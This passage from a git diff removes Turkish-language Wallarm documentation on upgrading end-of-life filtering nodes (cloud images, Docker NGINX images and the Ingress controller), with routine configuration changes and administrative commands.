şu [talimatlara](../../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance) göre yapılandırın. - -## Adım 6: Wallarm düğümü filtreleme modu ayarlarını en son sürümlerde yayınlanan değişikliklere uyarlayın (yalnızca 2.18 veya altı düğüm yükseltiliyorsa) - -1. Aşağıda listelenen ayarların beklenen davranışının, [`off` ve `monitoring` filtreleme modlarının değişen mantığına](what-is-new.md#filtration-modes) karşılık geldiğinden emin olun: - * [Yönerge `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Console’da yapılandırılan genel filtreleme kuralı](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Console’da yapılandırılan uç nokta hedefli filtreleme kuralları](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. Beklenen davranış değişen filtreleme modu mantığına karşılık gelmiyorsa, lütfen [talimatları](../../admin-en/configure-wallarm-mode.md) kullanarak filtreleme modu ayarlarını yayınlanan değişikliklere göre uyarlayın. - -## Adım 7: Filtreleme düğümünü Wallarm Cloud’a bağlayın - -1. SSH ile filtreleme düğümü örneğine bağlanın. Örneklere bağlanmaya ilişkin daha ayrıntılı talimatlar bulut platformu dokümantasyonunda mevcuttur: - * [AWS dokümantasyonu](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [GCP dokümantasyonu](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. Yeni bir Wallarm düğümü oluşturun ve oluşturulan belirteci kullanarak onu bulut platformuna özel talimatlarda açıklandığı şekilde Wallarm Cloud’a bağlayın: - * [AWS][link-cloud-connect-guide] - * [GCP](../../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - -## Adım 8: Filtreleme düğümü ayarlarını önceki sürümden yeni sürüme kopyalayın - -1. Önceki Wallarm düğüm sürümünün aşağıdaki yapılandırma dosyalarından istek işleme ve proxy ayarlarını 6.x filtreleme düğümünün dosyalarına kopyalayın: - * `/etc/nginx/nginx.conf` ve diğer NGINX ayar dosyaları - * Filtreleme düğümü izleme servisi ayarlarını içeren `/etc/nginx/conf.d/wallarm-status.conf` - - Kopyalanan dosya içeriğinin [önerilen güvenli yapılandırmaya](../../admin-en/configure-statistics-service.md#setup) karşılık geldiğinden emin olun. - - * Ortam değişkenlerini içeren `/etc/environment` - * Son [mimari değişiklikleri](what-is-new.md#optimized-cloud-images) dikkate alarak `/etc/nginx/sites-available/default` gibi istek işleme ve proxy için diğer özel yapılandırma dosyaları -1. Yapılandırma dosyalarında açıkça belirtilmişlerse aşağıdaki NGINX yönergelerinin adını değiştirin: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - Sadece yönergelerin adlarını değiştirdik, mantıkları aynı kaldı. Eski adlara sahip yönergeler yakında kullanımdan kaldırılacağından, önceden yeniden adlandırmanız önerilir. -1. [Genişletilmiş günlük formatı](../../admin-en/configure-logging.md#filter-node-variables) yapılandırılmışsa, yapılandırmada `wallarm_request_time` değişkeninin açıkça belirtilip belirtilmediğini kontrol edin. - - Eğer öyleyse, adını `wallarm_request_cpu_time` olarak değiştirin. - - Sadece değişkenin adını değiştirdik, mantığı aynı kaldı. Eski ad geçici olarak desteklenmeye devam ediyor, ancak yine de değişkenin yeniden adlandırılması önerilir. -1. Eğer 2.18 veya altı düğüm yükseltiliyorsa, izin listesi ve engelleme listesi yapılandırmasını önceki Wallarm düğüm sürümünden 6.x’e [taşıyın](../migrate-ip-lists-to-node-3.md). -1. Eğer `&/usr/share/nginx/html/wallarm_blocked.html` sayfası engellenen isteklere döndürülüyorsa, yeni sürümünü [kopyalayın ve özelleştirin](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). - - Yeni düğüm sürümünde, Wallarm örnek engelleme sayfası [değiştirildi](what-is-new.md#new-blocking-page). Sayfadaki logo ve destek e-postası artık varsayılan olarak boş. - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi [resmi NGINX dokümantasyonunda](https://nginx.org/docs/beginners_guide.html) mevcuttur. - -Filtreleme düğümü yönergelerinin listesi [burada](../../admin-en/configure-parameters-en.md) mevcuttur. - -## Adım 8: `overlimit_res` saldırı tespit yapılandırmasını yönergelerden kurala taşıyın - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -## Adım 9: NGINX’i yeniden başlatın - -Ayarları uygulamak için NGINX’i yeniden başlatın: - -```bash -sudo systemctl restart nginx -``` - -## Adım 10: Wallarm düğümünün çalışmasını test edin - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Adım 11: AWS veya GCP’de 6.x filtreleme düğümüne dayalı sanal makine imajı oluşturun - -6.x filtreleme düğümüne dayalı sanal makine imajı oluşturmak için lütfen [AWS](../../admin-en/installation-guides/amazon-cloud/create-image.md) veya [GCP](../../admin-en/installation-guides/google-cloud/create-image.md) talimatlarını izleyin. - -## Adım 12: Önceki Wallarm düğüm örneğini silin - -Yeni filtreleme düğümü sürümü başarıyla yapılandırılıp test edildiyse, AWS veya GCP yönetim konsolunu kullanarak önceki filtreleme düğümü sürümüne sahip örneği ve sanal makine imajını kaldırın. - -## Adım 13: Threat Replay Testing modülünü yeniden etkinleştirin (yalnızca 2.16 veya altı düğüm yükseltiliyorsa) - -[Threat Replay Testing modülünün kurulumuna ilişkin öneriyi](../../vulnerability-detection/threat-replay-testing/setup.md) öğrenin ve gerekirse yeniden etkinleştirin. - -Bir süre sonra modülün çalışmasının yanlış pozitiflere yol açmadığından emin olun. Yanlış pozitifler tespit ederseniz, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/docker-container.md b/docs/latest-tr/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index 2807933773..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1,139 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../../api-specification-enforcement/overview.md - -# Ömrü Dolmuş (EOL) Docker NGINX tabanlı bir imajı yükseltme - -Bu talimatlar, çalışan ömrü dolmuş Docker NGINX tabanlı imajın (sürüm 3.6 ve altı) 6.x sürümüne nasıl yükseltileceğini açıklar. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## Adım 1: Filtreleme düğümü modüllerini yükselttiğinizi Wallarm teknik desteğine bildirin (yalnızca 2.18 veya daha eski düğüm yükseltiliyorsa) - -Eğer 2.18 veya daha eski bir düğümü yükseltiyorsanız, lütfen [Wallarm teknik desteğine](mailto:support@wallarm.com) filtreleme düğümü modüllerini 6.x sürümüne yükselttiğinizi bildirip Wallarm hesabınız için yeni IP list mantığının etkinleştirilmesini isteyin. Yeni IP list mantığı etkinleştirildiğinde, Wallarm Console içindeki [**IP lists**](../../user-guides/ip-lists/overview.md) bölümünün erişilebilir olduğundan emin olun. - -## Adım 2: Threat Replay Testing modülünü devre dışı bırakın (yalnızca 2.16 veya daha eski düğüm yükseltiliyorsa) - -Eğer Wallarm düğümü 2.16 veya daha eski bir sürüme yükseltiliyorsa, Wallarm Console → **Vulnerabilities** → **Configure** içinde [Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) modülünü devre dışı bırakın. - -Modülün çalışması, yükseltme süreci sırasında [yanlış pozitiflere](../../about-wallarm/protecting-against-attacks.md#false-positives) neden olabilir. Modülü devre dışı bırakmak bu riski en aza indirir. - -## Adım 3: API portunu güncelleyin - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## Adım 4: Güncellenmiş filtreleme düğümü imajını indirin - -``` bash -docker pull wallarm/node:6.5.1 -``` - -## Adım 5: Wallarm Cloud’a belirteç (token) tabanlı bağlantıya geçin - -Konteyneri Wallarm Cloud’a bağlama yaklaşımı aşağıdaki şekilde güncellendi: - -* ["E‑posta ve parola" tabanlı yaklaşım kullanımdan kaldırıldı](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-api-tokens). Bu yaklaşımda, `DEPLOY_USER` ve `DEPLOY_PASSWORD` değişkenlerinde doğru kimlik bilgileri ile konteyner başlatıldığında düğüm Wallarm Cloud’da otomatik olarak kaydediliyordu. -* Belirteç tabanlı yaklaşım eklendi. Konteyneri Cloud’a bağlamak için, `WALLARM_API_TOKEN` değişkeni Wallarm Console UI’dan kopyalanan Wallarm API belirtecini içerecek şekilde konteyneri çalıştırın. - -6.x imajını çalıştırmak için yeni yaklaşımın kullanılması önerilir. "E‑posta ve parola" tabanlı yaklaşım gelecekteki sürümlerde kaldırılacaktır; lütfen öncesinde geçiş yapın. - -Yeni bir Wallarm düğümü oluşturup belirtecini almak için: - -1. Wallarm Console → **Settings** → **API Tokens** açın ve kullanım türü **Node deployment/Deployment** olan bir belirteç oluşturun. -1. Oluşturulan belirteci kopyalayın. - -## Adım 6: Allowlist ve denylist’leri önceki Wallarm düğümü sürümünden 6.x’e taşıyın (yalnızca 2.18 veya daha eski düğüm yükseltiliyorsa) - -Eğer 2.18 veya daha eski bir düğümü yükseltiyorsanız, allowlist ve denylist yapılandırmasını önceki Wallarm düğümü sürümünden 6.x’e [taşıyın](../migrate-ip-lists-to-node-3.md). - -## Adım 7: Kullanımdan kaldırılan yapılandırma seçeneklerinden geçiş yapın - -Aşağıdaki yapılandırma seçenekleri kullanımdan kaldırılmıştır: - -* `WALLARM_ACL_ENABLE` ortam değişkeni kullanımdan kaldırıldı. - - IP lists’ler yeni düğüm sürümüne [taşındıysa](../migrate-ip-lists-to-node-3.md), bu değişkeni `docker run` komutundan kaldırın. -* Postanalytics bellek miktarını `TARANTOOL_MEMORY_GB` ortam değişkeni ile ayarlıyorsanız, değişken adını `SLAB_ALLOC_ARENA` olarak değiştirin. -* Aşağıdaki NGINX yönergelerinin adları değiştirildi: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - Yalnızca yönergelerin adlarını değiştirdik, mantıkları aynı kaldı. Eski adlara sahip yönergeler yakında kullanımdan kaldırılacağından, bunları önceden yeniden adlandırmanız önerilir. - - Eski adlara sahip yönergelerin bağlanmış yapılandırma dosyalarında açıkça belirtilip belirtilmediğini kontrol edin. Eğer öyleyse, yeniden adlandırın. -* `wallarm_request_time` [loglama değişkeninin](../../admin-en/configure-logging.md#filter-node-variables) adı `wallarm_request_cpu_time` olarak değiştirildi. - - Yalnızca değişken adı değişti, mantığı aynı kaldı. Eski ad geçici olarak desteklenmeye de devam ediyor, ancak yine de değişkeni yeniden adlandırmanız önerilir. - -## Adım 8: Wallarm engelleme sayfasını güncelleyin (NGINX tabanlı imaj yükseltiliyorsa) - -Yeni düğüm sürümünde Wallarm örnek engelleme sayfası [değiştirildi](what-is-new.md#new-blocking-page). Sayfadaki logo ve destek e-postası artık varsayılan olarak boştur. - -Docker konteyneri engellenen isteklere `&/usr/share/nginx/html/wallarm_blocked.html` sayfasını döndürecek şekilde yapılandırılmışsa, bu yapılandırmayı aşağıdaki gibi değiştirin: - -1. Yeni sürüm örnek sayfayı [kopyalayın ve özelleştirin](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). -1. Özelleştirilmiş sayfayı ve NGINX yapılandırma dosyasını bir sonraki adımda yeni Docker konteynerine [bağlayın (mount)](../../admin-en/configuration-guides/configure-block-page-and-code.md#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code). - -## Adım 9: Son mimari güncellemeleri gözden geçirin (NGINX tabanlı Docker imajı için) - -En son güncelleme, [imaj optimizasyonu](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image) ve [Tarantool’un değişimi](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) nedeniyle, özellikle konteyner başlatımı sırasında özel yapılandırma dosyalarını bağlayan kullanıcıları etkileyebilecek, belirli dosyaların yollarındaki değişikliklerden kaynaklanan mimari değişiklikler getirdi. Lütfen bu değişiklikleri gözden geçirerek yeni imajın doğru şekilde yapılandırıldığından ve kullanıldığından emin olun. - -## Adım 10: `overlimit_res` saldırı tespiti yapılandırmasını yönergelerden kurala taşıyın - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-docker.md" - -## Adım 11: Çalışan konteyneri durdurun - -```bash -docker stop -``` - -## Adım 12: Güncellenmiş imajı kullanarak konteyneri çalıştırın - -Güncellenmiş imajı kullanarak konteyneri çalıştırın ve gerekirse [imaj optimizasyonu](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image) ve [Tarantool’un değişimi](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) nedeniyle imajda yapılan son değişikliklerin gerektirdiği şekilde bağlanan dosyaların yollarında gerekli düzenlemeleri yapın. - -Güncellenmiş imajla konteyneri çalıştırmanın iki seçeneği vardır: - -* [Ortam değişkenleri ile](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) -* [Bağlanan yapılandırma dosyasında](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -## Adım 13: Wallarm düğümü filtreleme modu ayarlarını en son sürümlerde yayınlanan değişikliklere uyarlayın (yalnızca 2.18 veya daha eski düğüm yükseltiliyorsa) - -1. Aşağıda listelenen ayarların beklenen davranışının, [`off` ve `monitoring` filtreleme modlarının değişen mantığına](what-is-new.md#filtration-modes) karşılık geldiğinden emin olun: - * NGINX tabanlı Docker konteynerinin [`WALLARM_MODE`](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) ortam değişkeni veya [`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) yönergesi - * [Wallarm Console’da yapılandırılan General filtration rule](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Console’da yapılandırılan Endpoint-targeted filtration rules](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. Beklenen davranış değişen filtreleme modu mantığıyla uyuşmuyorsa, [talimatları](../../admin-en/configure-wallarm-mode.md) kullanarak filtreleme modu ayarlarını yayınlanan değişikliklere göre uyarlayın. - -## Adım 14: Filtreleme düğümünün çalışmasını test edin - ---8<-- "../include/waf/installation/test-after-node-type-upgrade.md" - -## Adım 15: Önceki sürümün filtreleme düğümünü silin - -6.x sürümündeki dağıtılmış imaj düzgün çalışıyorsa, Wallarm Console → **Nodes** bölümünden önceki sürümün filtreleme düğümünü silebilirsiniz. - -## Adım 16: Threat Replay Testing modülünü yeniden etkinleştirin (yalnızca 2.16 veya daha eski düğüm yükseltiliyorsa) - -[Threat Replay Testing modülünün kurulumuna ilişkin öneriyi](../../vulnerability-detection/threat-replay-testing/setup.md) gözden geçirin ve gerekirse yeniden etkinleştirin. - -Bir süre sonra, modülün çalışmasının yanlış pozitiflere yol açmadığından emin olun. Yanlış pozitiflerle karşılaşırsanız lütfen [Wallarm teknik desteği](mailto:support@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/ingress-controller.md b/docs/latest-tr/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index af8b0979a1..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1,474 +0,0 @@ -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Wallarm modülleri entegre EOL NGINX Ingress controller’ı yükseltme - -Bu talimatlar, dağıtılmış kullanım ömrü dolmuş (EOL) Wallarm Ingress Controller’ı (sürüm 3.6 ve altı) Wallarm node 6.x içeren yeni sürüme yükseltme adımlarını açıklar. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! warning "Yükseltilen Community Ingress NGINX Controller sürümü" - Node’u 3.4 veya daha düşük bir sürümden yükseltiyorsanız, Wallarm Ingress controller’ın temel aldığı Community Ingress NGINX Controller sürümünün 0.26.2’den 1.11.8’e yükseltildiğini lütfen unutmayın. - - Community Ingress NGINX Controller 1.11.8’in çalışma biçimi önemli ölçüde değiştiğinden, Wallarm Ingress controller yükseltmesi sırasında yapılandırmanın bu değişikliklere göre ayarlanması gerekir. - - Bu talimatlar, muhtemelen değiştirmeniz gereken Community Ingress NGINX Controller ayarlarının bir listesini içerir. Yine de, lütfen [Community Ingress NGINX Controller sürüm notlarına](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md) dayanarak yapılandırma geçişi için bireysel bir plan hazırlayın. - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## Adım 1: Filtreleme node modüllerini yükselttiğinizi Wallarm teknik desteğine bildirin (yalnızca node 2.18 veya altını yükseltiyorsanız) - -Node 2.18 veya altını yükseltiyorsanız, [Wallarm teknik desteğine](mailto:support@wallarm.com) filtreleme node modüllerini 6.x’e güncellediğinizi bildirin ve Wallarm hesabınız için yeni IP listeleri mantığının etkinleştirilmesini isteyin. - -Yeni IP listeleri mantığı etkinleştirildiğinde, lütfen Wallarm Console’u açın ve [**IP lists**](../../user-guides/ip-lists/overview.md) bölümünün mevcut olduğundan emin olun. - -## Adım 2: Threat Replay Testing modülünü devre dışı bırakın (yalnızca node 2.16 veya altını yükseltiyorsanız) - -Wallarm node 2.16 veya altını yükseltiyorsanız, lütfen Wallarm Console → **Vulnerabilities** → **Configure** bölümünden [Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) modülünü devre dışı bırakın. - -Modülün çalışması, yükseltme süreci sırasında [yanlış pozitiflere](../../about-wallarm/protecting-against-attacks.md#false-positives) neden olabilir. Modülü devre dışı bırakmak bu riski en aza indirir. - -## Adım 3: API portunu güncelleyin - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## Adım 4: Wallarm Helm chart deposunu güncelleyin - -=== "Helm deposunu kullanıyorsanız" - ```bash - helm repo update wallarm - ``` -=== "Klonlanmış GitHub deposunu kullanıyorsanız" - Aşağıdaki komutla tüm chart sürümlerini içeren [Wallarm Helm deposunu](https://charts.wallarm.com/) ekleyin. Wallarm Ingress controller ile sonraki çalışmalarda lütfen Helm deposunu kullanın. - - ```bash - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -## Adım 5: `values.yaml` yapılandırmasını güncelleyin - - -Wallarm Ingress controller 6.x’e geçmek için `values.yaml` dosyasında belirtilen aşağıdaki yapılandırmayı güncelleyin: - -* Community Ingress NGINX Controller’ın standart yapılandırması -* Wallarm modülünün yapılandırması - -### Community Ingress NGINX Controller’ın standart yapılandırması - -1. [Community Ingress NGINX Controller sürüm notlarını](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md) 0.27.0 ve sonrası için inceleyin ve `values.yaml` dosyasında değiştirilecek ayarları belirleyin. -2. Belirlenen ayarları `values.yaml` dosyasında güncelleyin. - -Muhtemelen değiştirmeniz gereken ayarlar şunlardır: - -* İstekler Wallarm Ingress controller’a gönderilmeden önce bir yük dengeleyiciden geçiyorsa, [son kullanıcı genel IP adresinin doğru raporlanması](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md). - - ```diff - controller: - config: - - use-forwarded-headers: "true" - + enable-real-ip: "true" - + forwarded-for-header: "X-Forwarded-For" - ``` -* [IngressClasses yapılandırması](https://kubernetes.github.io/ingress-nginx/user-guide/multiple-ingress/). Yeni Ingress controller’da kullanılan Kubernetes API sürümü yükseltildi, bu da IngressClasses’in `.controller.ingressClass`, `.controller.ingressClassResource` ve `.controller.watchIngressWithoutClass` parametreleri ile yapılandırılmasını gerektirir. - - ```diff - controller: - + ingressClass: waf-ingress - + ingressClassResource: - + name: waf-ingress - + default: true - + watchIngressWithoutClass: true - ``` -* [ConfigMap (`.controller.config`) parametre seti](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/), örneğin: - - ```diff - controller: - config: - + allow-backend-server-header: "false" - enable-brotli: "true" - gzip-level: "3" - hide-headers: Server - server-snippet: | - proxy_request_buffering on; - wallarm_enable_libdetection on; - ``` -* ["admission webhook" ile Ingress sözdizimi doğrulaması](https://kubernetes.github.io/ingress-nginx/how-it-works/#avoiding-outage-from-wrong-configuration) artık varsayılan olarak etkindir. - - ```diff - controller: - + admissionWebhooks: - + enabled: true - ``` - - !!! warning "Ingress sözdizimi doğrulamasının devre dışı bırakılması" - Ingress sözdizimi doğrulamasını yalnızca Ingress nesnelerinin çalışmasını istikrarsızlaştırıyorsa devre dışı bırakmanız önerilir. -* [Etiket](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/) biçimi. `values.yaml` dosyası pod yakınlık (affinity) kuralları belirtiyorsa, bu kurallardaki etiket biçimini değiştirin, örneğin: - - ```diff - controller: - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - podAffinityTerm: - labelSelector: - matchExpressions: - - - key: app - + - key: app.kubernetes.io/name - operator: In - values: - - waf-ingress - - - key: component - + - key: app.kubernetes.io/component - operator: In - values: - - - waf-ingress - + - controller - - - key: release - + - key: app.kubernetes.io/instance - operator: In - values: - - waf-ingress-ingress - topologyKey: kubernetes.io/hostname - weight: 100 - ``` - -### Wallarm modülünün yapılandırması - -`values.yaml` dosyasında ayarlanmış Wallarm modülü yapılandırmasını aşağıdaki gibi değiştirin: - -* Sürüm 2.18 veya daha düşükten yükseltiyorsanız, IP listesi yapılandırmasını [taşıyın](../migrate-ip-lists-to-node-3.md). `values.yaml` içinden potansiyel olarak silinecek şu parametreler vardır: - - ```diff - controller: - wallarm: - enabled: true - - acl: - - enabled: true - resources: {} - ``` - - IP listesi çekirdek mantığı Wallarm node 3.x’te önemli ölçüde değiştiğinden, IP listesi yapılandırmasının uygun şekilde ayarlanması gerekir. -* [Tarantool’dan wstore’a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) nedeniyle, Helm değerleri yeniden adlandırıldı: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics`. Eğer postanalytics belleği açıkça [tahsis edildiyse](../../admin-en/configuration-guides/allocate-resources-for-node.md), bu değişikliği `values.yaml` içinde uygulayın. -* [**Node deployment/Deployment** kullanımı] için bir API token oluşturun(../../user-guides/settings/api-tokens.md) ve değerini `controller.wallarm.token` parametresine geçirin. -* Aşağıda listelenen ayarların beklenen davranışının, [`off` ve `monitoring` filtreleme modlarının değişen mantığına](what-is-new.md#filtration-modes) karşılık geldiğinden emin olun: - - * [`wallarm_mode` yönergesi](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Console’da yapılandırılan genel filtreleme kuralı](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Console’da yapılandırılan uç nokta hedefli filtreleme kuralları](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) - - Beklenen davranış filtreleme modu mantığındaki değişikliklerle uyuşmuyorsa, lütfen [Ingress açıklamalarını](../../admin-en/configure-kubernetes-en.md#ingress-annotations) ve [diğer ayarları](../../admin-en/configure-wallarm-mode.md) yayınlanan değişikliklere uyacak şekilde ayarlayın. -* Açık [izleme servisi yapılandırmasını](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) kaldırın. Yeni Wallarm Ingress controller sürümünde izleme servisi varsayılan olarak etkindir ve ek bir yapılandırma gerektirmez. - - ```diff - controller: - wallarm: - enabled: true - - tarantool: - + wstore: - resources: {} - - metrics: - - enabled: true - - service: - - annotations: {} - ``` -* ConfigMap ile yapılandırılmış `&/usr/share/nginx/html/wallarm_blocked.html` sayfası engellenen isteklere döndürülüyorsa, yapılandırmasını yayınlanan değişikliklere göre [ayarlayın](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). - - Yeni node sürümünde, Wallarm örnek engelleme sayfasının [güncellenmiş bir arayüzü](what-is-new.md#new-blocking-page) vardır; varsayılan olarak logo ve destek e-postası içermez. -* Eğer `overlimit_res` saldırı tespitini [`wallarm_process_time_limit`][nginx-process-time-limit-docs] ve [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] NGINX yönergeleriyle özelleştirdiyseniz, lütfen bu ayarları [kurala aktarın](#step-6-transfer-the-overlimit_res-attack-detection-configuration-from-directives-to-the-rule) ve `values.yaml` dosyasından silin. - -## Adım 6: `overlimit_res` saldırı tespiti yapılandırmasını yönergelerden kurala aktarın - - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md" - -## Adım 7: Gelecek tüm K8s manifest değişikliklerini inceleyin - -Ingress controller davranışının beklenmedik şekilde değişmesini önlemek için, [Helm Diff Plugin](https://github.com/databus23/helm-diff) kullanarak gelecek tüm K8s manifest değişikliklerini inceleyin. Bu eklenti, dağıtılmış Ingress controller sürümünün K8s manifestleri ile yenisinin manifestleri arasındaki farkı çıktılar. - -Eklentiyi kurup çalıştırmak için: - -1. Eklentiyi kurun: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Eklentiyi çalıştırın: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 6.5.1 -f - ``` - - * ``: Ingress controller chart’ının Helm sürüm adı - * ``: Ingress controller’ın dağıtıldığı namespace - * ``: [Ingress controller 6.x ayarlarını](#step-5-update-the-valuesyaml-configuration) tanımlayan `values.yaml` dosyasının yolu -3. Hiçbir değişikliğin çalışan servislerin stabilitesini etkilemediğinden emin olun ve stdout’tan gelen hataları dikkatlice inceleyin. - - Stdout boşsa, `values.yaml` dosyasının geçerli olduğundan emin olun. - -Lütfen aşağıdaki yapılandırmalardaki değişikliklere dikkat edin: - -* Değiştirilemeyen (immutable) alanlar; örneğin Deployment ve/veya StatefulSet seçicileri. -* Pod etiketleri. Değişiklikler, örneğin aşağıdaki gibi, NetworkPolicy’nin çalışmasının durmasına yol açabilir: - - ```diff - apiVersion: networking.k8s.io/v1 - kind: NetworkPolicy - spec: - egress: - - to: - - namespaceSelector: - matchExpressions: - - key: name - operator: In - values: - - kube-system # ${NAMESPACE} - podSelector: - matchLabels: # RELEASE_NAME=waf-ingress - - app: waf-ingress - + app.kubernetes.io/component: "controller" - + app.kubernetes.io/instance: "waf-ingress" - + app.kubernetes.io/name: "waf-ingress" - - component: waf-ingress - ``` -* Yeni etiketlerle Prometheus yapılandırması, örneğin: - - ```diff - - job_name: 'kubernetes-ingress' - kubernetes_sd_configs: - - role: pod - namespaces: - names: - - kube-system # ${NAMESPACE} - relabel_configs: # RELEASE_NAME=waf-ingress - # Seçiciler - - - source_labels: [__meta_kubernetes_pod_label_app] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_release] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_instance] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_component] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_component] - action: keep - - regex: waf-ingress - + regex: controller - - source_labels: [__meta_kubernetes_pod_container_port_number] - action: keep - regex: "10254|18080" - # Değiştiriciler - - action: replace - target_label: __metrics_path__ - regex: /metrics - - action: labelmap - regex: __meta_kubernetes_pod_label_(.+) - - source_labels: [__meta_kubernetes_namespace] - action: replace - target_label: kubernetes_namespace - - source_labels: [__meta_kubernetes_pod_name] - action: replace - target_label: kubernetes_pod_name - 